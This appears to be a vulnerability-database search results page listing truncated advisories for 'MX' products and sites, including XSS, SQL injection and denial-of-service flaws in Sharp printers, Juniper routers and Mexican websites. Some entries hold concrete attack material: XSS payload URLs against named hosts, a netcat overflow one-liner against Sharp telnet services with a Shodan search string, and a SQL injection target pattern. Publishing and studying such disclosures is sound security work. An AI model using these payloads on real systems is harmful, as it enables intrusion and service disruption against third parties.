夏普 Sharp MX-M264FP 复印机未授权访问

No description provided by source...

62.67.194.183 XSS vulnerability

Vulnerable URL: http://62.67.194.183/clean-mx/viruses.php?email=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:15 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

app.iev.tabasco.gob.mx XSS vulnerability

Open Bug Bounty ID: OBB-91582 Description| Value ---|--- Affected Website:| app.iev.tabasco.gob.mx Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention...

Mitsubishi MX Component v3 ActiveX Buffer Overflow (CVE-2013-3075)

A code execution vulnerability has been reported in Mitsubishi's MX PLC component. The vulnerability is due to insufficient validation of input by several functions. A remote attacker can exploit this vulnerability by enticing a user to visit a maliciously crafted website. This can lead to code...

ucol.mx XSS vulnerability

Vulnerable URL: http://www.ucol.mx/interpretextos/buscar.php?idrevis=%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 21.11.2017 Latest check for patch:| 21.11.2017 22:30 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

Juniper Junos MX Series Trio-based PFE Modules Security Bypass (JSA10666)

According to its self-reported version number, the remote Juniper Junos MX series device is affected by a security bypass vulnerability when processing stateless firewall filters on a device with Trio-based PFE modules with IPv4 filters. A remote attacker can exploit this issue to bypass stateles...

Juniper Junos MX Series BBE Routers jpppd Remote DoS (JSA10665)

According to its self-reported version number, the remote Juniper Junos device is affected by a denial of service vulnerability in the Juniper PPP daemon jpppd. A remote attacker can exploit this issue by sending a specially crafted PAP Authenticate-Request after successful negotiation of the PPP...

CVE-2014-6382

The Juniper MX Series routers with Junos 13.3R3 through 13.3Rx before 13.3R6, 14.1 before 14.1R4, 14.1X50 before 14.1X50-D70, and 14.2 before 14.2R2, when configured as a broadband edge BBE router, allows remote attackers to cause a denial of service jpppd crash and restart by sending a crafted P...

Design/Logic Flaw

The Juniper MX Series routers with Junos 13.3R3 through 13.3Rx before 13.3R6, 14.1 before 14.1R4, 14.1X50 before 14.1X50-D70, and 14.2 before 14.2R2, when configured as a broadband edge BBE router, allows remote attackers to cause a denial of service jpppd crash and restart by sending a crafted P...

CVE-2014-6382

CVE-2014-6382 affects Juniper MX Series routers running Junos 13.3R3–13.3Rx pre-13.3R6, 14.1 pre-14.1R4, 14.1X50 pre-14.1X50-D70, and 14.2 pre-14.2R2 when configured as a broadband edge (BBE) router. The issue is a DoS in the PPP daemon (jpppd) triggered by a crafted PAP Authenticate-Request afte...

CVE-2014-7993

Cisco Meraki HTTP Handler Local Information Disclosure vulnerability (CVE-2014-7993) affects Cisco Meraki MS, MR, and MX devices with firmware prior to 2014-09-24. An HTTP handler that does not require requests to originate from the Meraki cloud allows LAN-adjacent attackers to obtain sensitive c...

CVE-2014-5440

SQL injection vulnerability in Login.aspx in MPEX Business Solutions MX-SmartTimer before 13.19.18 allows remote attackers to execute arbitrary SQL commands via the ct100%24CPHContent%24password parameter...

CVE-2014-5440

MX-SmartTimer (MPEX Business Solutions) is affected by CVE-2014-5440 due to an SQL injection in Login.aspx. The vulnerability enables remote attackers to send SQL commands via the ct100%24CPHContent%24password parameter in versions before 13.19.18, potentially bypassing authentication and executi...

CVE-2011-4887

Cross-site scripting XSS vulnerability in the Violations Table in the management GUI in the MX Management Server in Imperva SecureSphere Web Application Firewall WAF 9.0 allows remote attackers to inject arbitrary web script or HTML via the username field...

MX-SmartTimer 13.18.5.11 SQL Injection

"CVE-2014-5440 MX-SmartTimer SQL Injection" - Vendor Status: CONFIRMED - Vendor Disclosure Date: July, 17th, 2014 - Public Disclosure Date: August, 29th, 2014 - Affected Vendor: MPEX Business Solutions http://www.mpexsolutions.com/ - Affected System: MX-SmartTimer Version 13.18.5.11 - Vulnerabili...

SHARP MX Series - Denial of Service

Exploit for hardware platform in category dos / poc Exploit Title: SHARP MX Series - Denial Of Service Date: 08/08/2014 Exploit Author: pws Vendor Homepage: Sharp Printers Firmware Link: Not found Tested on: Latest version Shodan d0rk: "SHARP Telnet server" 4000 devices CVE : None yet $ python -c...

SHARP MX Series - Denial of Service

Exploit Title: SHARP MX Series - Denial Of Service Date: 08/08/2014 Exploit Author: pws Vendor Homepage: Sharp Printers Firmware Link: Not found Tested on: Latest version Shodan d0rk: "SHARP Telnet server" 4000 devices CVE : None yet $ python -c 'print "A"200 + "\n"' | nc 192.168.30.5 23 $ telnet...

SHARP MX Denial Of Service

Exploit Title: SHARP MX Series - Denial Of Service Date: 08/08/2014 Exploit Author: pws Vendor Homepage: Sharp Printers Firmware Link: Not found Tested on: Latest version Shodan d0rk: "SHARP Telnet server" 4000 devices CVE : None yet $ python -c 'print "A"200 + "\n"' | nc 192.168.30.5 23 $ telnet...

Macromedia ColdFusion MX 6.0 Error Message Path Disclosure Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/7443/info A vulnerability has been reported for Macromedia ColdFusion MX that may reveal the physical path information to attackers. When certain malformed URL requests are received by the server, an error message is...

Calendar MX BASIC <= 1.0.2 (ID) Remote SQL Injection Vulnerability

No description provided by source. Title : Calendar MX BASIC = 1.0.2 ID Remote SQL Injection Vulnerability Author : ajann Contact : : $$ : Free SQL--------------------------------------------------------- http://target/path//calendardetail.asp?ID=SQL Example:...